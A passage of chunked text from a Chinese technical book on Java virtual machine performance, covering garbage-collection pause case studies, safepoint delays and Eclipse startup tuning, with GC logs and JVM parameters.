org.apache.axis.transport.http.HTTPSender.readHeadersFromSocket(HTTPSender.java:583) at org.apache.axis.transport.http.HTTPSender.invoke(HTTPSender.java:143) ... 99 more 这是一个远端断开连接的异常，通过系统管理员了解到系统最近与一个OA门户做了集成，在MIS系统工作流的待办事项变化时，要通过Web服务通知OA门户系统，把待办事项的变化同步到OA门户之中。通过SoapUI测试了一下同步待办事项的几个Web服务，发现调用后竟然需要长达3分钟才能返回，并且返回结果都是超时导致的连接中断。 由于MIS系统的用户多，待办事项变化很快，为了不被OA系统速度拖累，使用了异步的方式调用Web服务，但由于两边服务速度的完全不对等，时间越长就累积了越多Web服务没有调用完成，导致在等待的线程和Socket连接越来越多，最终超过虚拟机的承受能力后导致虚拟机进程崩溃。通知OA门户方修复无法使用的集成接口，并将异步调用改为生产者/消费者模式的消息队列实现后，系统恢复正常。"},
    {"text": "5.2.6 不恰当数据结构导致内存占用过大 一个后台RPC服务器，使用64位Java虚拟机，内存配置为-Xms4g-Xmx8g-Xmn1g，使用ParNew加CMS的收集器组合。平时对外服务的Minor GC时间约在30毫秒以内，完全可以接受。但业务上需要每10分钟加载一个约80MB的数据文件到内存进行数据分析，这些数据会在内存中形成超过100万个HashMap<Long，Long>Entry，在这段时间里面Minor GC就会造成超过500毫秒的停顿，对于这种长度的停顿时间就接受不了了，具体情况如下面的收集器日志所示。 {Heap before GC invocations=95 (full 4): par new generation total 903168K, used 803142K [0x00002aaaae770000, 0x00002aaaebb70000, 0x00002aaaebb70000) eden space 802816K, 100% used [0x00002aaaae770000, 0x00002aaadf770000, 0x00002aaadf770000) from space 100352K, 0% used [0x00002aaae5970000, 0x00002aaae59c1910, 0x00002aaaebb70000) to space 100352K, 0% used [0x00002aaadf770000, 0x00002aaadf770000, 0x00002aaae5970000) concurrent mark-sweep generation total 5845540K, used 3898978K [0x00002aaaebb70000, 0x00002aac507f9000, 0x00002aacae770000) concurrent-mark-sweep perm gen total 65536K, used 40333K [0x00002aacae770000, 0x00002aacb2770000, 0x00002aacb2770000) 2011-10-28T11:40:45.162+0800: 226.504: [GC 226.504: [ParNew: 803142K-> 100352K(903168K), 0.5995670 secs] 4702120K->4056332K(6748708K), 0.5997560 secs] [Times: user=1.46 sys=0.04, real=0.60 secs] Heap after GC invocations=96 (full 4): par new generation total 903168K, used 100352K [0x00002aaaae770000, 0x00002-aaaebb70000, 0x00002aaaebb70000) eden space 802816K, 0% used [0x00002aaaae770000, 0x00002aaaae770000, 0x00002aaadf770000) from space 100352K, 100% used [0x00002aaadf770000, 0x00002aaae5970000, 0x00002aaae5970000) to space 100352K, 0% used [0x00002aaae5970000, 0x00002aaae5970000, 0x00002aaaebb70000) concurrent mark-sweep generation total 5845540K, used 3955980K [0x00002aaaebb70000, 0x00002aac507f9000, 0x00002aacae770000) concurrent-mark-sweep perm gen total 65536K, used 40333K [0x00002aacae770000, 0x00002aacb2770000, 0x00002aacb2770000) } Total time for which application threads were stopped: 0.6070570 seconds 观察这个案例的日志，平时Minor GC时间很短，原因是新生代的绝大部分对象都是可清除的，在Minor GC之后Eden和Survivor基本上处于完全空闲的状态。但是在分析数据文件期间，800MB的Eden空间很快被填满引发垃圾收集，但Minor GC之后，新生代中绝大部分对象依然是存活的。我们知道ParNew收集器使用的是复制算法，这个算法的高效是建立在大部分对象都“朝生夕灭”的特性上的，如果存活对象过多，把这些对象复制到Survivor并维持这些对象引用的正确性就成为一个沉重的负担，因此导致垃圾收集的暂停时间明显变长。 如果不修改程序，仅从GC调优的角度去解决这个问题，可以考虑直接将Survivor空间去掉（加入参数-XX：SurvivorRatio=65536、-XX：MaxTenuringThreshold=0或者-XX：+Always-Tenure），让新生代中存活的对象在第一次Minor GC后立即进入老年代，等到Major GC的时候再去清理它们。这种措施可以治标，但也有很大副作用；治本的方案必须要修改程序，因为这里产生问题的根本原因是用HashMap<Long，Long>结构来存储数据文件空间效率太低了。 我们具体分析一下HashMap空间效率，在HashMap<Long，Long>结构中，只有Key和Value所存放的两个长整型数据是有效数据，共16字节（2×8字节）。这两个长整型数据包装成java.lang.Long对象之后，就分别具有8字节的Mark Word、8字节的Klass指针，再加8字节存储数据的long值。然后这2个Long对象组成Map.Entry之后，又多了16字节的对象头，然后一个8字节的next字段和4字节的int型的hash字段，为了对齐，还必须添加4字节的空白填充，最后还有HashMap中对这个Entry的8字节的引用，这样增加两个长整型数字，实际耗费的内存为(Long(24byte)×2)+Entry(32byte)+HashMap Ref(8byte)=88byte，空间效率为有效数据除以全部内存空间，即16字节/88字节=18%，这确实太低了。"},
    {"text": "5.2.7 由Windows虚拟内存导致的长时间停顿 [1] 有一个带心跳检测功能的GUI桌面程序，每15秒会发送一次心跳检测信号，如果对方30秒以内都没有信号返回，那就认为和对方程序的连接已经断开。程序上线后发现心跳检测有误报的可能，查询日志发现误报的原因是程序会偶尔出现间隔约一分钟的时间完全无日志输出，处于停顿状态。 因为是桌面程序，所需的内存并不大（-Xmx256m），所以开始并没有想到是垃圾收集导致的程序停顿，但是加入参数-XX：+PrintGCApplicationStoppedTime-XX：+PrintGCDate-Stamps-Xloggc：gclog.log后，从收集器日志文件中确认了停顿确实是由垃圾收集导致的，大部分收集时间都控制在100毫秒以内，但偶尔就出现一次接近1分钟的长时间收集过程。 Total time for which application threads were stopped: 0.0112389 seconds Total time for which application threads were stopped: 0.0001335 seconds Total time for which application threads were stopped: 0.0003246 seconds Total time for which application threads were stopped: 41.4731411 seconds Total time for which application threads were stopped: 0.0489481 seconds Total time for which application threads were stopped: 0.1110761 seconds Total time for which application threads were stopped: 0.0007286 seconds Total time for which application threads were stopped: 0.0001268 seconds 从收集器日志中找到长时间停顿的具体日志信息（再添加了-XX：+PrintReferenceGC参数），找到的日志片段如下所示。从日志中看到，真正执行垃圾收集动作的时间不是很长，但从准备开始收集，到真正开始收集之间所消耗的时间却占了绝大部分。 2012-08-29T19:14:30.968+0800: 10069.800: [GC10099.225: [SoftReference, 0 refs, 0.0000109 secs]10099.226: [WeakReference, 4072 refs, 0.0012099 secs]10099.227: [FinalReference, 984 refs, 1.5822450 secs]10100.809: [PhantomReference, 251 refs, 0.0001394 secs]10100.809: [JNI Weak Reference, 0.0994015 secs] [PSYoungGen: 175672K->8528K(167360K)] 251523K->100182K(353152K), 31.1580402 secs] [Times: user=0.61 sys=0.52, real=31.16 secs] 除收集器日志之外，还观察到这个GUI程序内存变化的一个特点，当它最小化的时候，资源管理中显示的占用内存大幅度减小，但是虚拟内存则没有变化，因此怀疑程序在最小化时它的工作内存被自动交换到磁盘的页面文件之中了，这样发生垃圾收集时就有可能因为恢复页面文件的操作导致不正常的垃圾收集停顿。 在MSDN上查证 [2] 确认了这种猜想，在Java的GUI程序中要避免这种现象，可以加入参数“-Dsun.awt.keepWorkingSetOnMinimize=true”来解决。这个参数在许多AWT的程序上都有应用，例如JDK（曾经）自带的VisualVM，启动配置文件中就有这个参数，保证程序在恢复最小化时能够立即响应。在这个案例中加入该参数，问题马上得到解决。 [1] 本案例来源于ITEye HLLVM群组的讨论：http://hllvm.group.iteye.com/group/topic/28745。 [2] http://support.microsoft.com/default.aspx?scid=kb；en-us；293215。"},
    {"text": "每天都有大量的MapReduce或Spark离线分析任务对其进行访问，同时有很多其他在线集群Replication过来的数据写入，因为集群读写压力较大，而离线分析任务对延迟又不会特别敏感，所以将-XX：MaxGCPauseMillis参数设置到了500毫秒。"},
    {"text": "不过运行一段时间后发现垃圾收集的停顿经常达到3秒以上，而且实际垃圾收集器进行回收的动作就只占其中的几百毫秒，现象如以下日志所示。"},
    {"text": "[Times: user=1.51 sys=0.67, real=0.14 secs] 2019-06-25T 12:12:43.376+0800: 3448319.277: Total time for which application threads were stopped: 2.2645818 seconds 考虑到不是所有读者都了解计算机体系和操作系统原理，笔者先解释一下user、sys、real这三个时间的概念： ·user：进程执行用户态代码所耗费的处理器时间。"},
    {"text": "请注意，前面两个是处理器时间，而最后一个是时钟时间，它们的区别是处理器时间代表的是线程占用处理器一个核心的耗时计数，而时钟时间就是现实世界中的时间计数。 如果是单核单线程的场景下，这两者可以认为是等价的，但如果是多核环境下，同一个时钟时间内有多少处理器核心正在工作，就会有多少倍的处理器时间被消耗和记录下来。"},
    {"text": "在垃圾收集调优时，我们主要依据real时间为目标来优化程序，因为最终用户只关心发出请求到得到响应所花费的时间，也就是响应速度，而不太关心程序到底使用了多少个线程或者处理器来完成任务。 日志显示这次垃圾收集一共花费了0.14秒，但其中用户线程却足足停顿了有2.26秒，两者差距已经远远超出了正常的TTSP（Time To Safepoint）耗时的范畴。"},
    {"text": "所以先加入参数-XX：+PrintSafepointStatistics和-XX：PrintSafepointStatisticsCount=1去查看安全点日志，具体如下所示： vmop [threads: total initially_running wait_to_block] 65968.203: ForceAsyncSafepoint [931 1 2] [time: spin block sync cleanup vmop] page_trap_count [2255 0 2255 11 0] 1 日志显示当前虚拟机的操作（VM Operation，VMOP）是等待所有用户线程进入到安全点，但是有两个线程特别慢，导致发生了很长时间的自旋等待。"},
    {"text": "日志中的2255毫秒自旋（Spin）时间就是指由于部分线程已经走到了安全点，但还有一些特别慢的线程并没有到，所以垃圾收集线程无法开始工作，只能空转（自旋）等待。"},
    {"text": "解决问题的第一步是把这两个特别慢的线程给找出来，这个倒不困难，添加-XX：+SafepointTimeout和-XX：SafepointTimeoutDelay=2000两个参数，让虚拟机在等到线程进入安全点的时间超过2000毫秒时就认定为超时，这样就会输出导致问题的线程名称，得到的日志如下所示： # SafepointSynchronize::begin: Timeout detected: # SafepointSynchronize::begin: Timed out while spinning to reach a safepoint. # SafepointSynchronize::begin: Threads which did not reach the safepoint: # \"RpcServer.listener,port=24600\" #32 daemon prio=5 os_prio=0 tid=0x00007f4c14b22840 nid=0xa621 runnable [0x0000000000000000] java.lang.Thread.State: RUNNABLE # SafepointSynchronize::begin: (End of list) 从错误日志中顺利得到了导致问题的线程名称为“RpcServer.listener，port=24600”。"},
    {"text": "在第3章关于安全点的介绍中，我们已经知道安全点是以“是否具有让程序长时间执行的特征”为原则进行选定的，所以方法调用、循环跳转、异常跳转这些位置都可能会设置有安全点，但是HotSpot虚拟机为了避免安全点过多带来过重的负担，对循环还有一项优化措施，认为循环次数较少的话，执行时间应该也不会太长，所以使用int类型或范围更小的数据类型作为索引值的循环默认是不会被放置安全点的。"},
    {"text": "这种循环被称为可数循环（Counted Loop），相对应地，使用long或者范围更大的数据类型作为索引值的循环就被称为不可数循环（Uncounted Loop），将会被放置安全点。"},
    {"text": "通常情况下这个优化措施是可行的，但循环执行的时间不单单是由其次数决定，如果循环体单次执行就特别慢，那即使是可数循环也可能会耗费很多的时间。"},
    {"text": "HotSpot原本提供了-XX：+UseCountedLoopSafepoints参数去强制在可数循环中也放置安全点，不过这个参数在JDK 8下有Bug [2] ，有导致虚拟机崩溃的风险，所以就不得不找到RpcServer线程里面的缓慢代码来进行修改。"},
    {"text": "最终查明导致这个问题是HBase中一个连接超时清理的函数，由于集群会有多个MapReduce或Spark任务进行访问，而每个任务又会同时起多个Mapper/Reducer/Executer，其每一个都会作为一个HBase的客户端，这就导致了同时连接的数量会非常多。"},
    {"text": "当垃圾收集发生时，如果RpcServer的Listener线程刚好执行到该函数里的可数循环时，则必须等待循环全部跑完才能进入安全点，此时其他线程也必须一起等着，所以从现象上看就是长时间的停顿。"},
    {"text": "找到了问题，解决起来就非常简单了，把循环索引的数据类型从int改为long即可，但如果不具备安全点和垃圾收集的知识，这种问题是很难处理的。"},
    {"text": "5.3 实战：Eclipse运行速度调优 很多Java开发人员都有一种错觉，认为系统调优的工作都是针对服务端应用的，规模越大的系统，就需要越专业的调优运维团队参与。这个观点不能说不对，只是有点狭隘了。上一节中笔者所列举的案例确实大多是服务端运维、调优的例子，但不只服务端需要调优，其他应用类型也是需要的，作为一个普通的Java开发人员，学习到的各种虚拟机的原理和最佳实践方法距离我们并不遥远，开发者身边就有很多场景可以使用上这些知识。下面就通过一个普通程序员日常工作中可以随时接触到的开发工具开始这次实战 [1] 。 [1] 此实战是本书第2版时编写的内容，今天看来里面的Eclipse和HotSpot版本已经较旧，不过软件版本的落后并未影响笔者要表达的意图，本案例目前也仍然有相同的实战价值，所以在第3版里笔者并未刻意将Eclipse和HotSpot升级后重写一次。 5.3.1 调优前的程序运行状态 笔者使用Eclipse作为日常工作中的主要IDE工具，由于安装的插件比较大（如Kloc-work、ClearCase LT等）、代码也很多，启动Eclipse直到所有项目编译完成需要四五分钟。一直对开发环境的速度感觉到不满意，趁着编写这本书的机会，决定对Eclipse进行“动刀”调优。 笔者机器的Eclipse运行平台是32位Windows 7系统，虚拟机为HotSpot 1.5 b64。硬件为ThinkPad X201，Intel i5 CPU，4GB物理内存。在初始的配置文件eclipse.ini中，除了指定JDK的路径、设置最大堆为512MB以及开启了JMX管理（需要在VisualVM中收集原始数据）外，未作任何改动，原始配置内容如代码清单5-3所示。 代码清单5-3 Eclipse 3.5初始配置 -vm D:/_DevSpace/jdk1.5.0/bin/javaw.exe -startup plugins/org.eclipse.equinox.launcher_1.0.201.R35x_v20090715.jar --launcher.library plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.0.200.v20090519 -product org.eclipse.epp.package.jee.product --launcher.XXMaxPermSize 256M -showsplash org.eclipse.platform -vmargs -Dosgi.requiredJavaVersion=1.5 -Xmx512m -Dcom.sun.management.jmxremote 为了与调优后的结果进行量化对比，调优开始前笔者先做了一次初始数据测试。测试用例很简单，就是收集从Eclipse启动开始，直到所有插件加载完成为止的总耗时以及运行状态数据，虚拟机的运行数据通过VisualVM及其扩展插件VisualGC进行采集。测试过程中反复启动数次Eclipse直到测试结果稳定后，取最后一次运行的结果作为数据样本（为了避免操作系统未能及时进行磁盘缓存而产生的影响），数据样本如图5-2所示。 图5-2 Eclipse原始运行数据 Eclipse启动的总耗时没有办法从监控工具中直接获得，因为VisualVM不可能知道Eclipse运行到什么阶段算是启动完成。为了测试的准确性，笔者写了一个简单的Eclipse插件，用于统计Eclipse的启动耗时。由于代码十分简单，且本书并不是Eclipse RCP的开发教程，所以只列出代码清单5-4供读者参考，不再延伸。如果读者需要这个插件，可以使用下面的代码自己编译即可。 代码清单5-4 Eclipse启动耗时统计插件 ShowTime.java代码： import org.eclipse.jface.dialogs.MessageDialog; import org.eclipse.swt.widgets.Display; import org.eclipse.swt.widgets.Shell; import org.eclipse.ui.IStartup; /** * 统计Eclipse启动耗时 * @author zzm */ public class ShowTime implements IStartup { public void earlyStartup() { Display.getDefault().syncExec(new Runnable() { public void run() { long eclipseStartTime = Long.parseLong(System.getProperty(\"eclipse.startTime\")); long costTime = System.currentTimeMillis() - eclipseStartTime; Shell shell = Display.getDefault().getActiveShell(); String message = \"Eclipse启动耗时：\" + costTime + \"ms\"; MessageDialog.openInformation(shell, \"Information\", message); } }); } } plugin.xml代码： <?xml version=\"1.0\" encoding=\"UTF-8\"?> <?eclipse version=\"3.4\"?> <plugin> <extension point=\"org.eclipse.ui.startup\"> <startup class=\"eclipsestarttime.actions.ShowTime\"/> </extension> </plugin> 上述代码打包成JAR后放到Eclipse的plugins目录，反复启动几次后，插件显示的平均时间稳定在15秒左右，如图5-3所示。 图5-3 耗时统计插件运行效果 根据VisualGC和Eclipse插件收集到的信息，总结原始配置下的测试结果如下： ·整个启动过程平均耗时约15秒。 ·最后一次启动的数据样本中，垃圾收集总耗时4.149秒，其中： ■Full GC被触发了19次，共耗时3.166秒； ■Minor GC被触发了378次，共耗时0.983秒。 ·加载类9115个，耗时4.114秒。 ·即时编译时间1.999秒。 ·交给虚拟机的512MB堆内存被分配为40MB的新生代（31.5MB的Eden空间和2个4MB的Survivor空间）以及472MB的老年代。 客观地说，考虑到该机器硬件的条件，15秒的启动时间其实还在可接受范围以内，但是从VisualGC中反映的数据上看，存在的问题是非用户程序时间（图5-2中的Compile Time、Class Load Time、GC Time）占比非常之高，占了整个启动过程耗时的一半以上（这里存在少许夸张成分，因为如即时编译等动作是在后台线程完成的，用户程序在此期间也正常并发执行，最多就是速度变慢，所以并没有占用一半以上的绝对时间）。虚拟机后台占用太多时间也直接导致Eclipse在启动后的使用过程中经常有卡顿的感觉，进行调优还是有较大价值的。"},
    {"text": "5.3.2 升级JDK版本的性能变化及兼容问题 对Eclipse进行调优的第一步就是先对虚拟机的版本进行升级，希望能先从虚拟机版本身上得到一些“免费的”性能提升。 每次JDK的大版本发布时，发行商通常都会宣称虚拟机的运行速度比上一版本有了多少比例的提高，这虽然是个广告性质的宣言，常被使用者从更新列表或者技术白皮书中直接忽略，但技术进步确实会促使性能改进，从国内外的第三方评测数据来看，版本升级至少在某些方面确实带来了一定性能改善 [1] 。 以下是一个第三方网站对JDK 5、6、7三个版本做的性能评测，分别测试了以下4个用例 [2] 。"},
    {"text": "1）生成500万个字符串。 2）500万次ArrayList<String>数据插入，使用第一点生成的数据。 3）生成500万个HashMap<String，Integer>，每个键-值对通过并发线程计算，测试并发能力。 4）打印500万个ArrayList<String>中的值到文件，并重读回内存。"},
    {"text": "图5-4 JDK横向性能对比 从这4个用例的测试结果来看，在每一个测试场景中新版的JDK性能都有改进，譬如JDK 6比JDK 5有大约15%的平均性能提升。"},
    {"text": "尽管对JDK仅测试这四个用例并不能说明什么问题，甚至要通过测试数据来量化描述一个JDK比旧版提升了多少本身就是很难做到特别科学准确的（要做稍微靠谱一点的测试，可以使用SPECjvm 2015 [3] 之类的软件来完成，或者把相应版本的TCK [4] 中数万个测试用例的性能数据对比一下可能稍有说服力），但笔者还是选择相信这次“软广告”性质的测试，把JDK版本升级到JDK 6 Update 21，升级没有选择JDK 7或者其他版本的最主要理由是：本书后续故事剧情发展需要。 与所有小说作者（嗯……知道，本书不是小说）设计的故事情节一样，获得最后的胜利之前总是要经历各种各样的挫折，这次升级到JDK 6之后，性能有什么变化先暂且不谈，在使用几分钟之后，笔者的Eclipse就和前面几个服务端的案例一样非常“不负众望”地发生了内存溢出，如图5-5所示。 图5-5 Eclipse OutOfMemoryError 这次内存溢出开始是完全出乎笔者意料的：决定对Eclipse做调优是因为速度慢，但笔者的开发环境一直都很稳定，至少没有出现过内存溢出的问题，而这次升级除了修改了eclipse.ini中的Java虚拟机路径之外，还未进行任何运行参数的调整，Eclipse居然进去主界面之后随便开了几个文件就抛出内存溢出异常了，难道JDK 6 Update21有哪个类库的API出现了严重的泄漏问题吗？"},
    {"text": "在Java堆中监视曲线里，“堆大小”的曲线与“使用的堆”的曲线一直都有很大的间隔距离，每当两条曲线开始出现互相靠近的趋势时，“堆大小”的曲线就会快速向上转向，而“使用的堆”的曲线会向下转向。"},
    {"text": "“堆大小”的曲线向上代表的是虚拟机内部在进行堆扩容，因为运行参数中并没有指定最小堆（-Xms）的值与最大堆（-Xmx）相等，所以堆容量一开始并没有扩展到最大值，而是根据使用情况进行伸缩扩展。"},
    {"text": "但永久代的监视曲线就很明显有问题了，“PermGen大小”的曲线与“使用的PermGen”的曲线几乎完全重合在一起，这说明永久代中已经没有可回收的资源了，所以“使用的PermGen”的曲线不会向下发展，并且永久代中也没有空间可以扩展了，所以“PermGen大小”的曲线不能向上发展，说明这次内存溢出很明显是永久代导致的内存溢出。 图5-6 Java堆监视曲线 图5-7 永久代监视曲线 再注意到图5-7中永久代的最大容量“67108864字节”，也就是64MB，这恰好是JDK在未使用-XX：MaxPermSize参数明确指定永久代最大容量时的默认值，无论JDK 5还是JDK 6，这个默认值都是64MB。 对于Eclipse这种规模的Java程序来说，64MB的永久代内存空间显然是不够的，内存溢出是肯定的，但为何在JDK 5中没有发生过溢出呢？"},
    {"text": "在VisualVM的“概述>JVM参数”页签中，分别检查使用JDK 5和JDK 6运行Eclipse时的Java虚拟机启动参数，发现使用JDK 6时，只有三个启动参数，如代码清单5-5所示。"},
    {"text": "代码清单5-5 JDK 1.6的Eclipse运行期参数 -Dcom.sun.management.jmxremote -Dosgi.requiredJavaVersion=1.5 -Xmx512m 而使用JDK 5运行时，就有四个启动参数，其中多出来的一个正好就是设置永久代最大容量的-XX：MaxPermSize=256M，如代码清单5-6所示。 代码清单5-6 JDK 1.5的Eclipse运行期参数 -Dcom.sun.management.jmxremote -Dosgi.requiredJavaVersion=1.5 -Xmx512m -XX:MaxPermSize=256M 为什么会这样呢？ 笔者从Eclipse的Bug List网站 [5] 上找到答案：使用JDK 5时之所以有永久代容量这个参数，是因为在eclipse.ini中存在“--launcher.XXMaxPermSize 256M”这项设置，当launcher——也就是Windows下的可执行程序eclipse.exe，检测到Eclipse是运行在Sun公司的虚拟机上的话，就会把参数值转化为-XX：MaxPermSize传递给虚拟机进程。 因为世界三大商用虚拟机中只有Sun公司的虚拟机才有永久代的概念，也就是只有JDK 8以前的HotSpot虚拟机才需要设置这个参数，JRockit虚拟机和J9虚拟机都是不需要设置的，所以这个参数才会有检测虚拟机后进行设置的过程。 2010年4月10日，Oracle正式完成对Sun公司的收购，此后无论是网页还是具体程序产品，提供商都从Sun变为了Oracle，而eclipse.exe就是根据程序提供商来判断是否Sun公司的虚拟机的，当JDK 1.6 Update 21中java.exe、javaw.exe的“Company”属性从“Sun Microsystems Inc.”变为“Oracle Corporation”后，Eclipse就不再认识这个虚拟机了，因此没有把最大永久代的参数传递过去。 查明了原因，解决方案就简单了，launcher不认识就只好由人来告诉它，在eclipse.ini中明确指定-XX：MaxPermSize=256M这个参数，问题随即解决。"},
    {"text": "[4] TCK（Technology Compatibility Kit）是一套由一组测试用例和相应的测试工具组成的工具包，用于保证一个使用Java技术的实现能够完全遵守其适用的Java平台规范，并且符合相应的参考实现。"},
    {"text": "各位读者不必失望，Sun公司给的JDK 6性能白皮书 [1] 描述的众多相对于JDK 5的提升并不至于全部是广告词，尽管总启动时间并没有减少，但在查看运行细节的时候，却发现了一件很令人玩味的事情：在JDK 6中启动完Eclipse所消耗的类加载时间比JDK 5长了接近一倍，读者注意不要看反了，这里写的是JDK 6的类加载比JDK 5慢一倍，测试结果见代码清单5-7，反复测试多次仍然是相似的结果。 代码清单5-7 JDK 5、JDK 6中的类加载时间对比 使用JDK 6的类加载时间： C:\\Users\\IcyFenix>jps 3552 6372 org.eclipse.equinox.launcher_1.0.201.R35x_v20090715.jar 6900 Jps C:\\Users\\IcyFenix>jstat -class 6372 Loaded Bytes Unloaded Bytes Time 7917 10190.3 0 0.0 8.18 使用JDK 5类加载时间： C:\\Users\\IcyFenix>jps 3552 7272 Jps 7216 org.eclipse.equinox.launcher_1.0.201.R35x_v20090715.jar C:\\Users\\IcyFenix>jstat -class 7216 Loaded Bytes Unloaded Bytes Time 7902 9691.2 3 2.6 4.34 在本例中类加载时间上的差距并不能作为一个具有普适性的测试结论去说明JDK 6的类加载必然比JDK 5慢，笔者测试了自己机器上的Tomcat和GlassFish启动过程，并没有出现类似的差距。"},
    {"text": "经多轮试验后，发现在笔者机器上两个JDK进行类加载时，字节码验证部分耗时差距尤其严重，暂且认为是JDK 6中新加入类型检查验证器时，可能在某些机器上会影响到以前类型检查验证器的工作 [3] 。"},
    {"text": "考虑到实际情况，Eclipse使用者甚多，它的编译代码我们可以认为是安全可靠的，可以不需要在加载的时候再进行字节码验证，因此通过参数-Xverify：none禁止掉字节码验证过程也可作为一项优化措施。"},
    {"text": "加入这个参数后，两个版本的JDK类加载速度都有所提高，此时JDK 6的类加载速度仍然比JDK 5要慢，但是两者的耗时已经接近了很多，测试结果如代码清单5-8所示。 代码清单5-8 JDK 1.5、1.6中取消字节码验证后的类加载时间对比 使用JDK 1.6的类加载时间： C:\\Users\\IcyFenix>jps 5512 org.eclipse.equinox.launcher_1.0.201.R35x_v20090715.jar 5596 Jps C:\\Users\\IcyFenix>jstat -class 5512 Loaded Bytes Unloaded Bytes Time 6749 8837.0 0 0.0 3.94 使用JDK 1.5的类加载时间： C:\\Users\\IcyFenix>jps 4724 org.eclipse.equinox.launcher_1.0.201.R35x_v20090715.jar 5412 Jps C:\\Users\\IcyFenix>jstat -class 4724 Loaded Bytes Unloaded Bytes Time 6885 9109.7 3 2.6 3.10 关于类与类加载的话题，譬如刚刚提到的字节码验证是怎么回事，本书专门规划了两个章节进行详细讲解，在此暂不再展开了。 在取消字节码验证之后，JDK 5的平均启动下降到了13秒，而在JDK 6的测试数据平均比JDK 5快了1秒左右，下降到平均12秒，如图5-8所示。 在类加载时间仍然落后的情况下，依然可以看到JDK 6在性能上确实比JDK 5略有优势，说明至少在Eclipse启动这个测试用例上，升级JDK版本确实能带来一些“免费的”性能提升。 图5-8 运行在JDK 6下取消字节码验证的启动时间 前面提到过，除了类加载时间以外，在VisualGC中监视曲线中显示了两项很大的非用户程序耗时：编译时间（Compile Time）和垃圾收集时间（GC Time）。"},
    {"text": "虚拟机的即时编译与垃圾收集一样，是本书的一个重点部分，后面有专门章节讲解，这里先简要介绍一下：编译时间是指虚拟机的即时编译器（Just In Time Compiler）编译热点代码（Hot Spot Code）的耗时。"},
    {"text": "我们知道Java语言为了实现跨平台的特性，Java代码编译出来后形成Class文件中储存的是字节码（Byte Code），虚拟机通过解释方式执行字节码命令，比起C/C++编译成本地二进制代码来说，速度要慢不少。"},
    {"text": "为了解决程序解释执行的速度问题，JDK 1.2以后，HotSpot虚拟机内置了两个即时编译器 [4] ，如果一段Java方法被调用次数到达一定程度，就会被判定为热代码交给即时编译器即时编译为本地代码，提高运行速度（这就是HotSpot虚拟机名字的来由）。"},
    {"text": "而且完全有可能在运行期动态编译比C/C++的编译期静态编译出来的结果要更加优秀，因为运行期的编译器可以收集很多静态编译器无法得知的信息，也可以采用一些激进的优化手段，针对“大多数情况”而忽略“极端情况”进行假设优化，当优化条件不成立的时候再逆优化退回到解释状态或者重新编译执行。"},
    {"text": "所以Java程序只要代码编写没有问题（典型的是各种泄漏问题，如内存泄漏、连接泄漏），随着运行时间增长，代码被编译得越来越彻底，运行速度应当是越运行越快的。"},
    {"text": "如果读者想使用这个参数省下Eclipse启动中那2秒的编译时间获得一个哪怕只是“更好看”的启动成绩的话，那恐怕要大失所望了，加上这个参数之后虽然编译时间确实下降到零，但Eclipse启动的总时间却剧增到27秒，就是因为没有即时编译的支持，执行速度大幅下降了。 现在这个参数最大的作用，除了某些场景调试上的需求外，似乎就剩下让用户缅怀一下JDK 1.2之前Java语言那令人心酸心碎的运行速度了。"},
    {"text": "与解释执行相对应的另一方面，HotSpot虚拟机还有另一个力度更强的即时编译器：当虚拟机运行在客户端模式的时候，使用的是一个代号为C1的轻量级编译器，另外还有一个代号为C2的相对重量级的服务端编译器能提供更多的优化措施。 由于本次实战所采用的HotSpot版本还不支持多层编译，所以虚拟机只会单独使用其中一种即时编译器，如果使用客户端模式的虚拟机启动Eclipse将会使用到C2编译器，这时从VisualGC可以看到启动过程中虚拟机使用了超过15秒的时间去进行代码编译。"},
    {"text": "如果读者的工作习惯是长时间不会关闭Eclipse的话，服务端编译器所消耗的额外编译时间最终是会在运行速度的提升上“赚”回来的，这样使用服务端模式是一个相当不错的选择。"},
    {"text": "5.3.4 调整内存设置控制垃圾收集频率 三大块非用户程序时间中，还剩下“GC时间”没有调整，而“GC时间”却又是其中最重要的一块，并不单单因为它是耗时最长的一块，更因为它是一个稳定持续的消耗。"},
    {"text": "在程序运行一段时间后，随着热点方法被不断编译，新的热点方法数量也总会下降，这都会让类加载和即时编译的影响随运行时间增长而下降，但是垃圾收集则是随着程序运行而持续运作的，所以它对性能的影响才显得最为重要。"},
    {"text": "在Eclipse启动的原始数据样本中，短短15秒，类共发生了19次Full GC和378次Minor GC，一共397次GC共造成了超过4秒的停顿，也就是超过1/4的时间都是在做垃圾收集，这样的运行数据看起来实在太糟糕了。"},
    {"text": "从VisualGC的线程监视中看到Eclipse启动期间一共发起了超过70条线程，同时在运行的线程数超过25条，每当发生一次垃圾收集，所有用户线程 [1] 都必须跑到最近的一个安全点然后挂起线程来等待垃圾回收。"},
    {"text": "再来看一看那19次Full GC，看起来19次相对于378次Minor GC来说并“不多”，但总耗时有3.166秒，占了绝大部分的垃圾收集时间，降低垃圾收集停顿时间的主要目标就是要降低Full GC这部分时间。"},
    {"text": "从VisualGC的曲线图上看得不够精确，这次直接从收集器日志 [2] 中分析一下这些Full GC是如何产生的，代码清单5-9中是启动最开始的2.5秒内发生的10次Full GC记录。"},
    {"text": "代码清单5-9 Full GC记录 0.278: [GC 0.278: [DefNew: 574K->33K(576K), 0.0012562 secs]0.279: [Tenured: 1467K->997K(1536K), 0.0181775 secs] 1920K->997K(2112K), 0.0195257 secs] 0.312: [GC 0.312: [DefNew: 575K->64K(576K), 0.0004974 secs]0.312: [Tenured: 1544K->1608K(1664K), 0.0191592 secs] 1980K->1608K(2240K), 0.0197396 secs] 0.590: [GC 0.590: [DefNew: 576K->64K(576K), 0.0006360 secs]0.590: [Tenured: 2675K->2219K(2684K), 0.0256020 secs] 3090K->2219K(3260K), 0.0263501 secs] 0.958: [GC 0.958: [DefNew: 551K->64K(576K), 0.0011433 secs]0.959: [Tenured: 3979K->3470K(4084K), 0.0419335 secs] 4222K->3470K(4660K), 0.0431992 secs] 1.575: [Full GC 1.575: [Tenured: 4800K->5046K(5784K), 0.0543136 secs] 5189K->5046K(6360K), [Perm : 12287K->12287K(12288K)], 0.0544163 secs] 1.703: [GC 1.703: [DefNew: 703K->63K(704K), 0.0012609 secs]1.705: [Tenured: 8441K->8505K(8540K), 0.0607638 secs] 8691K->8505K(9244K), 0.0621470 secs] 1.837: [GC 1.837: [DefNew: 1151K->64K(1152K), 0.0020698 secs]1.839: [Tenured: 14616K->14680K(14688K), 0.0708748 secs] 15035K->14680K(15840K), 0.0730947 secs] 2.144: [GC 2.144: [DefNew: 1856K->191K(1856K), 0.0026810 secs]2.147: [Tenured: 25092K->24656K(25108K), 0.1112429 secs] 26172K->24656K(26964K), 0.1141099 secs] 2.337: [GC 2.337: 